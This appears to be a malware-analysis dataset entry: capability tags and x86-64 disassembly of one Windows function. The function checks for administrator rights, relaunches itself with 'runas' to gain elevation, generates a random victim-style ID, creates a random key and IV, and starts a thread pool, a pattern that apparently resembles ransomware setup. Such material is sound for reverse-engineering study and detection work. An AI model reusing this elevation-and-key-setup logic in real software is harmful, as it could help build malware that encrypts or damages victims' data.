Function at 0x140001fe0
Capabilities:
Create new key via cryptacquirecontext
Create process on windows
Generate random numbers via winapi
Get token membership
Terminate process

Disassembly:
push rdi
push r14
sub rsp, 0x298
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r14, rdx
cmp ecx, 2
jge 0x14000218d
xor edi, edi
mov word [rsp + 0x114], 0x500
lea rax, [rsp + 0x60]
mov dword [rsp + 0x68], edi
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x110]
mov dword [rsp + 0x48], edi
mov r9d, 0x220
mov dword [rsp + 0x40], edi
mov r8d, 0x20
mov dword [rsp + 0x38], edi
mov dl, 2
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
mov qword [rsp + 0x60], rdi
mov dword [rsp + 0x110], edi
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140002084
mov rdx, qword [rsp + 0x60]
lea r8, [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x68], edi
jne 0x14000214e
mov r8d, 0x104
lea rdx, [rsp + 0x160]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14000214e
xor eax, eax
mov dword [rsp + 0xa0], 0x70
vpxor xmm0, xmm0, xmm0
vmovups ymmword [rsp + 0xa4], ymm0
mov qword [rsp + 0x104], rax
lea rcx, [rsp + 0xa0]
mov dword [rsp + 0x10c], eax
lea rax, str.runas
vmovups ymmword [rsp + 0xc4], ymm0
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0xb8], rax
lea rax, str.__foodsum
mov qword [rsp + 0xc0], rax
vmovups ymmword [rsp + 0xe4], ymm0
mov qword [rsp + 0xa8], rdi
mov dword [rsp + 0xd0], edi
vzeroupper
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140002145
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r8, qword [r14]
lea r9, [0x140006098]
mov dword [rsp + 0x28], edi
lea rdx, str.open
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1400024e0
add rsp, 0x298
pop r14
pop rdi
ret
mov qword [rsp + 0x2b0], rbx
xor ecx, ecx
mov qword [rsp + 0x2c0], rsi
mov qword [rsp + 0x290], r15
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov eax, dword [0x1400060c8]
lea rsi, [rsp + 0x148]
vmovups ymm0, ymmword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov dword [rsp + 0x90], eax
xor edi, edi
movzx eax, byte [0x1400060cc]
mov ebx, edi
mov byte [rsp + 0x94], al
movabs r15, 0xe38e38e38e38e38f
vmovups ymmword [rsp + 0x70], ymm0
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xcccccccd
mov ecx, ebx
mul ebx
shr edx, 2
lea eax, [rdx + rdx*4]
sub ecx, eax
cmp ecx, 4
jne 0x14000221a
mov al, 0x2d
jmp 0x140002240
vzeroupper
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r15
mul rcx
shr rdx, 5
lea rax, [rdx + rdx*8]
shl rax, 2
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x70]
mov byte [rsi], al
inc ebx
inc rsi
cmp ebx, 0x13
jl 0x140002200
mov r15, qword [rsp + 0x290]
lea rcx, [rsp + 0x60]
mov rsi, qword [rsp + 0x2c0]
mov r9d, 0x18
mov rbx, qword [rsp + 0x2b0]
xor r8d, r8d
mov byte [rsp + 0x15b], dil
xor edx, edx
mov dword [rsp + 0x20], 0xf0000000
vzeroupper
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1400024bd
mov rcx, qword [rsp + 0x60]
lea r8, [rsp + 0x128]
mov edx, 0x20
vmovaps xmmword [rsp + 0x280], xmm6
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x60]
lea r8, [rsp + 0x118]
mov edx, 0x10
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x60]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
vmovdqu ymm0, ymmword [0x140004520]
vpxor ymm0, ymm0, ymmword [rsp + 0x128]
vmovdqu xmm6, xmmword [0x140004510]
vmovdqu ymmword [rsp + 0x128], ymm0
vpxor xmm0, xmm6, xmmword [rsp + 0x118]
vmovdqu xmmword [rsp + 0x118], xmm0
lea r8, [rsp + 0x148]
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x128]
vzeroupper
call fcn.140001d90
vmovdqu ymm1, ymmword [0x140004520]
vpxor ymm0, ymm1, ymmword [rsp + 0x128]
vpxor xmm1, xmm6, xmmword [rsp + 0x118]
vmovdqu xmmword [rsp + 0x118], xmm1
vmovdqu ymmword [rsp + 0x128], ymm0
xor ecx, ecx
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateThreadpool]
mov qword [0x140006990], rax
vmovaps xmm6, xmmword [rsp + 0x280]
test rax, rax
jne 0x14000239b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.tpcf:__d_n
call fcn.140001060
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolCleanupGroup]
mov qword [0x140006988], rax
mov rcx, rax
test rax, rax
jne 0x1400023dd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.pf:__d_n
call fcn.140001060
mov rcx, qword [0x140006990]
call qword [sym.imp.KERNEL32.dll_CloseThreadpool]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rax, qword [0x140006990]
lea r8, [0x140006080]
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [0x140006960], xmm0
mov qword [0x140006948], rax
mov dword [0x140006940], 3
mov qword [0x140006970], rdi
mov dword [0x140006978], edi
mov dword [0x14000697c], 1
mov dword [0x140006980], 0x48
mov qword [0x140006950], rcx
mov qword [0x140006958], rdi
mov rax, qword [r14 + 8]
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140002453
inc rax
test ecx, ecx
jne 0x140002440
test edx, edx
jne 0x1400024b3
lea r9, [rsp + 0x148]
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x128]
call fcn.140001850
mov rcx, qword [0x140006988]
test rcx, rcx
je 0x140002498
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroupMembers]
mov rcx, qword [0x140006988]
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroup]
mov rcx, qword [0x140006990]
test rcx, rcx
je 0x140002170
call qword [sym.imp.KERNEL32.dll_CloseThreadpool]
jmp 0x140002170
mov eax, 1
jmp 0x140002172
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3